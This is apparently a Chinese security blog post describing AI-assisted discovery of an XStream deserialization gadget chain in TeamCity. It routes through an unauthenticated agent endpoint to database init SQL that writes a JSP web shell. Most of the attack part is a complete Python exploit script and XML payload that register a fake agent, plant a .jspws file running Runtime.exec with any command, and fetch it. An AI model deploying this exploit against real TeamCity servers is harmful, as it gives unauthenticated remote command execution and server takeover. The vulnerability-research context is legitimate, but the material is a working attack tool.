一、前言

最近漏洞爆发比较频繁(尤其java漏洞),于是想将之前的代码审计工具结合AI去实现做自动化漏洞挖掘以及gadget链路寻找(进行一次AI代码审计的探索)。

其中Teamcity是重点关注的产品之一,于是结合AI+SAST对Teamcity进行深入分析。挖掘出gadget,并且一个新的攻击面。

二、漏洞分析

2.1、路由分析

TeamCity 路由路径层级树

第一层:conf/web.xml(Tomcat 全局,server.xml 默认已配)

<root>/
 ├─ /  (default servlet)            → 静态资源兜底
 ├─ *.jsp / *.jspx  (jsp servlet)   → Tomcat JSP(全局层)
 ├─ *.shtml  (ssi)
 └─ /cgi-bin/*  (cgi)

第二层:ROOT web.xml(TeamCity 主路由)

/*  前两行是默认/静态
 ├─ /                    (default servlet)
 ├─ *.shtml              (ssi)
 │
 ├─ buildServer = TeamCityDispatcherServlet  ← 主线
 │   ├─ *.jsp  / *.jspx
 │   ├─ *.html
 │   ├─ /mnt/*           (MaintenanceServlet 启动期)
 │   ├─ /maintenance/ajax/*
 │   ├─ /update/*
 │   ├─ /chart.png
 │   ├─ /RPC2
 │   ├─ /repository/*
 │   ├─ /get/*
 │   ├─ /builds/*
 │   ├─ /httpAuth/*
 │   ├─ /guestAuth/*
 │   ├─ /presignedTokenAuth/*
 │   ├─ /.well-known/acme-challenge/*
 │   ├─ /res/*
 │   ├─ /healthCheck/*
 │   ├─ /overview, /favorite{,/projects,/builds,/agentPools}
 │   ├─ /project/*  /buildConfiguration/*  /build/*  /agents/*  /agent/*
 │   ├─ /cloudImage/*  /cloudProfile/*  /agentPool/*
 │   ├─ /test/*  /change/*  /changes  /queue  /learn
 │   ├─ /pipelines/*  /pipeline/*  /investigations  /notifications  /projects/create
 │   └─ /app/*                          ← 插件/控制器专用
 │
 ├─ realJspServlet = Jasper (org.apache.jasper.servlet.JspServlet)
 │   └─ *.jspws                        ← RCE 落点(不走 buildServer)
 │
 └─ MaintenanceServlet = StartupServlet
     └─ /mnt/*

第三层:/app/* 路由(Spring HandlerMapping,buildServerSpringWeb.xml)

/app/*
 ├─ /app/agents/v1/**      → agentPollingProtocolController
 ├─ /app/agents/protocols  → agentProtocolsController
 ├─ /app/https/settings/** → httpsCertificateSettingsController
 ├─ /app/license/**        → licenseManagerRestController
 └─ /app/buildLog/**       → remoteBuildLogController

第四层:/app/agents/v1/**(AgentPollingProtocolController 内部分派)

/app/agents/v1/
 ├─ register                       → registerAgent(无认证)
 └─ commands/
     ├─ next        → handleNextCommandRequest
     ├─ result      → handleCommandIsDoneRequest
     ├─ error       → handleCommandIsFailedRequest  ← XStream 反序列化
     └─ inProgress  → handleCommandInProgress

2.2、攻击面

也就是我们需要找一个xstream绕过的gadget链

/app/agents/v1/
 ├─ register                       → registerAgent(无认证)
 └─ commands/
     ├─ error       → handleCommandIsFailedRequest  ← XStream 反序列化

2.3、xstream特性

目前xstream采用了白名单机制

i、了解xstream特性1-属性豁免

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.XppDriver;
import com.thoughtworks.xstream.security.NoTypePermission;
import org.apache.commons.dbcp2.BasicDataSource;

/** XStream 4 特性一屏演示: 属性豁免 / 层级豁免 / final可改 / transient不可写 (复刻 8111 白名单+层级) */
public class Mini4Features {
  static class H {
    public transient String t = new String("keep");  // ④ transient: 反序列化不写 → 保持默认
    public final String fi = new String("x");        // ③ final(非折叠): 反射可改 → 变 y
    public Exception ex;                             // ② 层级豁免: class= 显式用 Throwable 子类
    public BasicDataSource ds;                       // ① 属性豁免: 无 class= 用字段声明类型
  }
  public static void main(String[] a) {
    XStream x = new XStream(new XppDriver());
    x.addPermission(NoTypePermission.NONE);
    x.allowTypes(new Class[]{H.class, String.class});          // 白名单: 仅宿主+String (无 BasicDataSource/HsqlException)
    x.allowTypeHierarchy(java.util.Map.class);                 // 默认层级豁免
    x.allowTypeHierarchy(java.util.Collection.class);
    x.allowTypeHierarchy(Throwable.class);                     // ← HsqlException 靠这层
    x.allowTypeHierarchy(Number.class);
    x.alias("h", H.class);
    H h = (H) x.fromXML(
      "<h>" +
      "<fi>y</fi>" +                                            // ③ 改 final String (非折叠 → 可改)
      "<ex class=\"org.hsqldb.HsqlException\">boom</ex>" +      // ② 层级豁免: 非JDK Throwable子类, 无模块限制
      // ① 属性豁免: <ds> 无 class=, 元素名映射不到 → 用字段声明类型 BasicDataSource 实例化, 不经 SecurityMapper
      //   (BasicDataSource 不在白名单, 但字段类型豁免放行 → 这就是 R7 把数据源藏进 myDataSource 的原理)
      "<ds>" +
      "  <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>" +
      "  <url>jdbc:hsqldb:mem:x</url>" +
      "  <userName>SA</userName>" +
      "  <closed>false</closed>" +
      "</ds>" +
      "</h>");
    System.out.println("④ t (transient) = " + h.t);            // "keep" → transient 不改
    System.out.println("③ fi (final)    = " + h.fi);           // "y" → final(非折叠)可改
    System.out.println("② ex (层级豁免)   = " + h.ex.getClass().getSimpleName());  // HsqlException
    System.out.println("① ds (属性豁免)   = " + h.ds.getClass().getSimpleName());  // BasicDataSource
  }
}

ii、了解xstream触发器

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.XppDriver;
import com.thoughtworks.xstream.security.NoTypePermission;
import java.util.HashSet;

/** XStream 如何触发 hashCode: 反序列化 HashSet 时 CollectionConverter 对元素调 add → 自动 hashCode (R7 链入口) */
public class MiniHashCode {
  static class Trigger {
    public String s;
    Trigger() { System.out.println("    构造 Trigger (s 未填)"); }
    public int hashCode() {
      System.out.println("    ★ hashCode 被触发! s=" + s);
      return 1;
    }
  }
  static class H { public HashSet<Trigger> set; }   // 字段声明类型 HashSet → 属性豁免实例化
  public static void main(String[] a) {
    XStream x = new XStream(new XppDriver());
    x.addPermission(NoTypePermission.NONE);
    x.allowTypes(new Class[]{H.class, Trigger.class, String.class});  // 白名单: 宿主+Trigger+String
    x.allowTypeHierarchy(java.util.Collection.class);                  // HashSet 靠层级豁免
    x.alias("h", H.class);
    x.alias("t", Trigger.class);
    System.out.println("反序列化开始 ...");
    H h = (H) x.fromXML(
      "<h>" +
      "  <set>" +                                  // 无 class= → 字段声明类型 HashSet (属性豁免)
      "    <t><s>a</s></t>" +                      // 元素: 先反序列化出 Trigger(s=a), 再 add 进 set
      "    <t><s>b</s></t>" +
      "  </set>" +
      "</h>");
    System.out.println("反序列化结束: set.size=" + h.set.size());
  }
}

2.4、Call Chain & Data Flow简单构建

i、Call Chain构建

在分析java文件的时候,会遇到符号问题。

package com.example;

import com.foo.*;
import com.xxx.*;

public class Main {
    void run() {
        Test test = new Test();
        test.say();
    }
}

比如Test这个类到底来自com.foo还是com.xxx呢? 可以使用JavaParser的 Symbol Solver 解析,因为它会根据优先级自动在classpath/sourcepath 中寻找。

所以在做分析的时候,还是最好下载jar(因为JavaParser会构建jvm虚拟机),方便解析符号。

ii、 Data Flow 构建

污点分析比较重要:只做一个粗略的数据流跟踪就好了,剩余的交给AI吧。

CHA问题:java最主要是的CHA问题,比如Test test ,那么Test的子类都是有可能的,为了减少CHA路径路径爆炸,目前只覆盖了overwrite的CHA子类。

剩下的就是一下小问题:比如invoke方法、call方法这些,无法串联。可以使用夹逼原理去串联。

iii、总结

最终再把这些导入neo4j中,快速找链路。 构建好了基本节点后,可以通过给节点打tag方式补充,可以增加找链的条件限制。(比如xstream的gadget就跟其他的gadget都不用)

接下来就可以找链路了。

2.5、xstream链

i、get->invoke链路

最开始可以思考为get/hashCode/equals/compareTo触发点,sink点是invoke。

考虑到路径爆炸,只会做overwrite,以及做能做数据污染的sink的caller,最终根据骨架(source->sink,以及中间链的特定函数白名单保留、黑明单过滤),筛选出29条链路出来。


最终让ai分析所有的链路,最终发现Map#get → HashAdapter#get → BeansWrapper#invokeMethod → Method#invoke链路可行。

可以做数据流分析->ai分析,然后沉淀过滤分析,因为这里的链路调用的函数类都是很重叠的。

map.get("xxxxx")    ← map = HashAdapter (entry[2])
  └─ HashAdapter.get("xxxxx")
    └─ BeanModel.get("xxxxx")
      └─ invokeThroughDescriptor
         └─ Method.invoke

数据流分析

hop[1]: Map#get → HashAdapter#get ✅

// HashAdapter.java:40,72
private final TemplateHashModel model;
public Object get(Object key) {
    return wrapper.unwrap(model.get(String.valueOf(key)));
}
HashAdapter extends AbstractMap implements Map,override get。✅

hop[2]: HashAdapter#get → BeanModel#get ✅

model.get(...)  // model 是 TemplateHashModel 接口
BeanModel implements TemplateHashModel(BeanModel.java:54 注释明确 "wraps arbitrary object into TemplateHashModel")。若 model 运行时 = BeanModel,分发到 BeanModel.get。✅

hop[3]: BeanModel#get → invokeGenericGet ✅

// BeanModel.java:142-154
public TemplateModel get(String key) {
    ...
    if (wrapper.isMethodsShadowItems()) {
        Object fd = classInfo.get(key);
        if (fd != null) {
            retval = invokeThroughDescriptor(fd, classInfo);   // 路径 A
        } else {
            retval = invokeGenericGet(classInfo, clazz, key);  // 路径 B
        }
    }
}
两条子路径都通向 invoke:
- 路径 A invokeThroughDescriptor → line 225/233 wrapper.invokeMethod(object, pd.getReadMethod(), null)
- 路径 B invokeGenericGet → line 274 wrapper.invokeMethod(object, genericGet, new Object[]{key})

CHA 标 hop[3]=invokeGenericGet,但 invokeThroughDescriptor 也通。✅

hop[4]: invokeGenericGet → BeansWrapper#invokeMethod ✅

// BeanModel.java:266,274
protected TemplateModel invokeGenericGet(Map classInfo, Class<?> clazz, String key) {
    Method genericGet = (Method) classInfo.get(ClassIntrospector.GENERIC_GET_KEY);
    ...
    return wrapper.invokeMethod(object, genericGet, new Object[] { key });
}
wrapper.invokeMethod(object, method, args)。✅

hop[5]: BeansWrapper#invokeMethod → Method#invoke ✅

// BeansWrapper.java:1547-1555
protected TemplateModel invokeMethod(Object object, Method method, Object[] args) {
    Object retval = method.invoke(object, args);   // ← 真正的 invoke
    return ...;
}
method.invoke(object, args) — 这就是终点 java.lang.reflect.Method#invoke。✅

ii、getter方法链

以geter方法为启动,寻找sink点,最终发现BasicDataSource.getConnection() 的sink calle

pool.getConnection()                                    ← 你指的这步
  → PoolingDataSource.getConnection()                    (BasicDataSource.java:52 拿到 pool 后调它)
    → GenericObjectPool.borrowObject()                    [池子借连接]
      → 池空 → create()                                  [GenericObjectPool.java:190]
        → factory.makeObject()                           [GenericObjectPool.java:173]
          → PoolableConnectionFactory.makeObject()        [DBCP 的 factory]
            → createPoolableConnection(conn)
              → initializeConnection(conn)                ← 真正执行 SQL 在这
                → for sql in connectionInitSqls:
                  conn.createStatement().execute(sql)     ★ sink ★

数据流分析

① BasicDataSource.getConnection() — BasicDataSource.java:718,731
public Connection getConnection() throws SQLException {
    ...
    return createDataSource().getConnection();   // createDataSource() 初始化, .getConnection() 借连接
}

② createDataSource() — BasicDataSource.java:507-570(关键 setup)
protected DataSource createDataSource() throws SQLException {
    if (dataSource != null) return dataSource;     // 已建则返回(payload 是新实例, 未建)
    synchronized (this) {
        final ConnectionFactory driverConnectionFactory = createConnectionFactory();  // 建 HSQLDB driver
        poolableConnectionFactory = createPoolableConnectionFactory(driverConnectionFactory);
        ...
        createConnectionPool(poolableConnectionFactory);   // pool = new GenericObjectPool(factory)
        newDataSource = createDataSourceInstance();          // newDataSource = new PoolingDataSource(pool)
        ...
        return dataSource = newDataSource;                   // ← 返回 PoolingDataSource
    }
}

③ initSqls 注入点 — BasicDataSource.java:625,633
protected PoolableConnectionFactory createPoolableConnectionFactory(ConnectionFactory driverConnectionFactory) {
    PoolableConnectionFactory connectionFactory = new PoolableConnectionFactory(driverConnectionFactory, ...);
    connectionFactory.setPoolStatements(poolPreparedStatements);
    connectionFactory.setMaxOpenPreparedStatements(maxOpenPreparedStatements);
    ...
    connectionFactory.setConnectionInitSql(connectionInitSqls);  // ★ 攻击者的 SQL 列表传入 factory
    return connectionFactory;
}
connectionInitSqls 是 BasicDataSource 字段(line 321 private volatile List<String> connectionInitSqls)— payload 直接注入(writefile_only.xml 的 <connectionInitSqls><string>...</string></connectionInitSqls>)。经 setConnectionInitSql(line 486-487)存入 PoolableConnectionFactory 的 connectionInitSqls 字段(line 62)。

④ PoolingDataSource.getConnection() — PoolingDataSource.java:139
public Connection getConnection() throws SQLException {
    final C conn = pool.borrowObject();           // 借连接 → 池空触发 create → makeObject
    ...
}
pool 是 GenericObjectPool,factory 是 PoolableConnectionFactory。

⑤ borrowObject → create → factory.makeObject() — GenericObjectPool.java
// borrowObject (line 433 → 276): 池空时
p = create();                                     // line ~453
// create() (line 515+):
final PooledObject<T> p;
p = factory.makeObject();                         // line 571 ← 调 PoolableConnectionFactory.makeObject

⑥ makeObject() → initializeConnection() — PoolableConnectionFactory.java:373
public PooledObject<PoolableConnection> makeObject() throws Exception {
    Connection conn = connectionFactory.createConnection();   // 建真实 HSQLDB 连接
    try {
        initializeConnection(conn);                          // ★ 初始化时执行 SQL
    } catch (final SQLException sqle) {
        Utils.closeQuietly(conn);
        throw sqle;                                          // SQL 失败抛出
    }
    ...
}

⑦ initializeConnection → execute(sql) — PoolableConnectionFactory.java:320-331 ★ SINK ★
protected void initializeConnection(final Connection conn) throws SQLException {
    final Collection<String> sqls = connectionInitSqls;       // 攻击者注入的 SQL 列表
    if (conn.isClosed()) { throw new SQLException("...closed"); }
    if (null != sqls) {
        try (Statement stmt = conn.createStatement()) {       // 创建 JDBC Statement
            for (final String sql : sqls) {                   // 遍历每条 SQL
                Objects.requireNonNull(sql, "null connectionInitSqls element");
                stmt.execute(sql);                            // ★★★ 执行攻击者 SQL ★★★
            }
        }
    }
}

iii、get/equals/compare触发器?

HashBag bag1 = new HashBag();
bag1._map = adapter;

HashBag bag2 = new HashBag();
bag2._map = adapter;

HashSet set = new HashSet();
set.add(bag1);
set.add(bag2);

最终equals的参数就是HashBag自己。

class HashBag extends DefaultMapBag
class DefaultMapBag
public boolean equals(Object object) {
    if (object instanceof Bag == false) {
        return false;
    }
    Bag other = (Bag) object;   // other == bag1
    for (Iterator it = this._map.keySet().iterator(); it.hasNext();) {
        Object element = it.next();  // "connection"
        if (other.getCount(element) != this.getCount(element)) {
           return false;
        }
    }
    return true;
}

随后bag2(也就是this),this.map (就是HashAdapter),随后遍历this.map(HashAdapter)的keyset获取到connection字符串,最终this.map(HashAdapter).get("connection")

    public int getCount(Object object) {
        int result = 0;
        Integer count = MapUtils.getInteger(this._map, object);
->
    public static Integer getInteger(Map map, Object key) {
        Number answer = getNumber(map, key);
->
    public static Number getNumber(Map map, Object key) {
        if (map != null) {
            Object answer = map.get(key);

iiii、整合

1、equasl方法可调用任意Map.get方法 equals->Map.get

2、Map.get->Method.invoke 可以调用任意obj的getter方法

3、寻找能过层级白名单或者属性豁免的Obj的getter方法。

#!/usr/bin/env python3
"""R7 HTTP probe with DefaultMapBag/HashBag replacing TiedMapEntry.

The two equal-hash HashBag instances share the R7 HashAdapter.  The payload
preloads HashAdapter.entrySet with a hash-0 DefaultMapEntry so the HashBag
hashCode precondition is safe; HashSet.add then enters inherited
DefaultMapBag.equals -> getCount -> HashAdapter.get.
"""
import argparse
import random
import time
import urllib.error
import urllib.request


DEFAULT_SERVER = "http://127.0.0.1:8111"
DEFAULT_CMD = "touch /tmp/xstream_default_map_bag_http"


def http(server, path, method="GET", headers=None, body=None):
    data = body.encode("utf-8") if isinstance(body, str) else body
    req = urllib.request.Request(server + path, data=data, method=method)
    for key, value in (headers or {}).items():
        req.add_header(key, value)
    try:
        with urllib.request.urlopen(req, timeout=30) as response:
            return response.status, dict(response.headers), response.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as exc:
        return exc.code, dict(exc.headers), exc.read().decode("utf-8", "replace")


def hexn(length):
    return "".join(random.choice("0123456789abcdef") for _ in range(length))


def build_payload(cmd, hexid):
    """Build the complete R7 payload with only the trigger replaced.

    entry[1] builds BasicDataSource; entry[2] exposes it through HashAdapter.
    entry[3] contains two equal-hash HashBag objects.  HashAdapter.entrySet is
    preloaded with a zero-hash DefaultMapEntry so HashBag.hashCode is safe;
    HashSet.add then invokes DefaultMapBag.equals on the second bag.
    """
    jsptoken = hexn(16)
    table = "TA" + hexn(11).upper()
    column = "C" + hexn(11).upper()
    key1 = hexn(12)
    key2 = hexn(12)
    key3 = hexn(12)
    dbname = "d" + hexn(11)
    output = hexn(12)
    return f'''<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
  <entry>
    <string>{key1}</string>
    <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
      <outer-class>
        <myHSQLStorage>
          <myDataSource>
            <defaultTransactionIsolation>-1</defaultTransactionIsolation>
            <cacheState>true</cacheState>
            <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
            <lifo>true</lifo><maxTotal>8</maxTotal><maxIdle>8</maxIdle><minIdle>0</minIdle>
            <initialSize>0</initialSize><maxWaitMillis>-1</maxWaitMillis>
            <poolPreparedStatements>false</poolPreparedStatements>
            <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
            <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
            <testOnCreate>false</testOnCreate><testOnBorrow>true</testOnBorrow>
            <testOnReturn>false</testOnReturn><timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
            <numTestsPerEvictionRun>3</numTestsPerEvictionRun>
            <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
            <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
            <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
            <testWhileIdle>false</testWhileIdle><password/>
            <url>jdbc:hsqldb:mem:{dbname}</url><userName>SA</userName>
            <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
            <connectionInitSqls>
              <string>CREATE TABLE IF NOT EXISTS {table}({column} VARCHAR(4000))</string>
              <string>INSERT INTO {table} VALUES ('&lt;% if (application.getAttribute(&quot;{jsptoken}&quot;) == null) {{ application.setAttribute( &quot;{jsptoken}&quot;, java.lang.Boolean.TRUE ); java.nio.file.Files.deleteIfExists( java.nio.file.Path.of( application.getRealPath(&quot;/{hexid}.jspws&quot;) ) ); java.lang.Runtime.getRuntime().exec(&quot;{cmd}&quot;); out.print(&quot;{output}&quot;); }} %&gt;')</string>
              <string>SCRIPT '../webapps/ROOT/{hexid}.jspws'</string>
            </connectionInitSqls>
            <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
            <maxConnLifetimeMillis>-1</maxConnLifetimeMillis><logExpiredConnections>true</logExpiredConnections>
            <autoCommitOnReturn>true</autoCommitOnReturn><rollbackOnReturn>true</rollbackOnReturn>
            <fastFailValidation>false</fastFailValidation><connectionProperties/>
            <closed>false</closed>
          </myDataSource>
          <myStopped>false</myStopped><myDatabaseOpen>false</myDatabaseOpen>
        </myHSQLStorage>
      </outer-class>
    </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  </entry>
  <entry>
    <string>{key2}</string>
    <freemarker.ext.beans.HashAdapter>
      <wrapper>
        <sharedIntrospectionLock/>
        <classIntrospector>
          <exposureLevel>0</exposureLevel><exposeFields>false</exposeFields>
          <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
          <incompatibleImprovements>
            <major>2</major><minor>3</minor><micro>0</micro><intValue>2003000</intValue>
            <calculatedStringValue>2.3.0</calculatedStringValue><hashCode>0</hashCode>
          </incompatibleImprovements>
          <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions><shared>false</shared>
          <sharedLock reference="../../sharedIntrospectionLock"/><cache/><cacheClassNames/>
          <classIntrospectionsInProgress/><modelFactories/><clearingCounter>0</clearingCounter>
        </classIntrospector>
        <falseModel>
          <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
          <wrapper reference="../.."/><value>false</value>
        </falseModel>
        <writeProtected>false</writeProtected><defaultDateType>0</defaultDateType>
        <methodsShadowItems>true</methodsShadowItems><simpleMapWrapper>false</simpleMapWrapper>
        <strict>false</strict><preferIndexedReadMethod>true</preferIndexedReadMethod>
        <incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
      </wrapper>
      <model reference="../wrapper/falseModel"/>
      <entrySet class="org.apache.commons.collections.set.MapBackedSet">
        <map>
          <entry>
            <org.apache.commons.collections.keyvalue.DefaultMapEntry>
              <key class="string">connection</key>
              <value class="string">connection</value>
            </org.apache.commons.collections.keyvalue.DefaultMapEntry>
            <string>dummy</string>
          </entry>
        </map>
        <dummyValue/>
      </entrySet>
    </freemarker.ext.beans.HashAdapter>
  </entry>
  <entry>
    <string>{key3}</string>
    <set>
      <org.apache.commons.collections.HashBag>
        <__map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
        <__total>1</__total><__mods>1</__mods>
      </org.apache.commons.collections.HashBag>
      <org.apache.commons.collections.HashBag>
        <__map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
        <__total>1</__total><__mods>1</__mods>
      </org.apache.commons.collections.HashBag>
    </set>
  </entry>
</linked-hash-map>
'''


def main():
    parser = argparse.ArgumentParser(description="DefaultMapBag.equals R7 trigger probe")
    parser.add_argument("cmd", nargs="?", default=DEFAULT_CMD,
                        help="single command for Runtime.exec (default: %(default)s)")
    parser.add_argument("--url", default=DEFAULT_SERVER,
                        help="TeamCity URL (default: %(default)s)")
    args = parser.parse_args()
    server = args.url.rstrip("/")
    agent = f"default-map-bag-{int(time.time())}"
    hexid = hexn(12)

    print("=== DefaultMapBag.equals R7 trigger probe ===")
    print(f"target: {server}  jspws: /{hexid}.jspws  cmd: {args.cmd}")

    print("[1] register ...")
    register_xml = (f'<agentDetails agentName="{agent}" agentAddress="127.0.0.1" '
                    'agentPort="9090" authToken="x" pingCode="p">'
                    '<version agent="1.0.0" plugins="1.0.0"/></agentDetails>')
    status, headers, _ = http(server, "/app/agents/v1/register", "POST",
                              {"Content-Type": "application/xml"}, register_xml)
    session = headers.get("TeamCity-AgentSessionId", "")
    print(f"    HTTP {status}  session={session}")
    if status != 200 or not session:
        return 1

    print("[2] commands/next ...")
    command_id = ""
    for attempt in range(6):
        status, headers, _ = http(server, "/app/agents/v1/commands/next",
                                  headers={"TeamCity-AgentSessionId": session})
        command_id = headers.get("TeamCity-AgentCommandId", "")
        print(f"    attempt {attempt}: HTTP {status} id={command_id}")
        if command_id:
            break
        time.sleep(1)
    if not command_id:
        print("    !! no command id")
        return 1

    payload = build_payload(args.cmd, hexid)
    print(f"[3] commands/error POST ({len(payload)} bytes) ...")
    status, _, body = http(
        server, "/app/agents/v1/commands/error", "POST",
        {"TeamCity-AgentSessionId": session,
         "TeamCity-AgentCommandId": command_id,
         "Content-Type": "application/xml"}, payload)
    print(f"    HTTP {status} (500 expected after deserialization side effect)")
    print(f"    body[:160]={body[:160]!r}")

    print(f"[4] GET /{hexid}.jspws ...")
    status, _, body = http(server, f"/{hexid}.jspws")
    print(f"    HTTP {status}  body[:120]={body[:120]!r}")
    print()
    print("=== verify ===")
    print("container marker:")
    print("  docker exec tc-cve-2026-63077 test -e /tmp/xstream_default_map_bag_http")
    print("server log should contain DefaultMapBag.equals -> getCount -> HashAdapter.get")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

三、Teamcity其他0day

AI发现这次补丁并未完全修复,还有其他攻击面,等补丁修复后有时间再分享吧。

四、题外话-cc链的新触发器

在实验过程中构建harness中,顺便找到cc的其他触发器记录。

五、总结

目前让AI自住完成一次非常复杂的漏洞发现还是遇到一些困难的,还是不断需要人工去修正。


但是丰富一些harness(比如调用链)给它,让它自主挖掘出这个漏洞也是可行的。

也许不久的将来,AI可以就真正代替代码审计任务了。